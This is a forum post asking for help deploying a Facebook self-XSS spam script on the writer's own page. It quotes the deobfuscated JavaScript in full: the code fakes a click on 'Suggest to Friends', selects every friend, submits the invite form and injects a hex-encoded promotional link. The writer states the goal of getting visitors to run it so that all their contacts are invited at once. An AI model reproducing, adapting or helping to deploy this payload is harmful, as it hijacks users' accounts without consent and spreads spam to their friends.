I need some help as to how to be able to do this.
http://www.facebook.com/pages/Tom-Oh/126929663989822?v=app_4949752878&ref=tsAfter liking the page, you are presented with some javascript which can be deobfuscated and read clearly to see the javascript code. I dont really understand javascript but some of the simple things that I can see in the code are that I can see where to change it to my own app ids etc.
What else am I missing on my page if I want users to be able to execute this javascript into the browser from my app.
void(document['getElementById']('app4949752878_dd')['innerHTML'] = '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&node_id=126929663989822" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>Suggest to Friends</a>');
var ss = document['getElementById']('suggest');
var c = document['createEvent']('MouseEvents');
c['initEvent']('click', true, true);
void(ss['dispatchEvent'](c));
void(setTimeout(function () {
fs['select_all']();
}, 3000));
void(setTimeout(function () {
SocialGraphManager['submitDialog']('sgm_invite_form', '/ajax/social_graph/invite_dialog.php');
}, 4000));
void(setTimeout(function () {
document['getElementById']('app4949752878_dd')['innerHTML'] = '\x3c\x61\x20\x68\x72\x65\x66\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x79\x6f\x75\x74\x75\x62\x65\x2e\x63\x6f\x6d\x2f\x77\x61\x74\x63\x68\x3f\x76\x3d\x49\x30\x58\x50\x70\x32\x6b\x53\x6a\x62\x41\x22\x3e\x4e\x49\x43\x45\x53\x54\x21\x21\x21\x20\x43\x4c\x49\x43\x4b\x20\x48\x45\x52\x45\x20\x54\x4f\x20\x57\x41\x54\x43\x48\x20\x54\x4f\x4d\x2d\x4f\x48\x27\x73\x20\x4e\x45\x57\x20\x4d\x55\x53\x49\x43\x20\x56\x49\x44\x45\x4f\x20\x21\x21\x21\x3c\x2f\x61\x3e\x20';
}, 4500));
from looking at that, does my page need some sort of file attached? what is it.
btw the script invites all friend contacts to the group immediately when executed into the browser.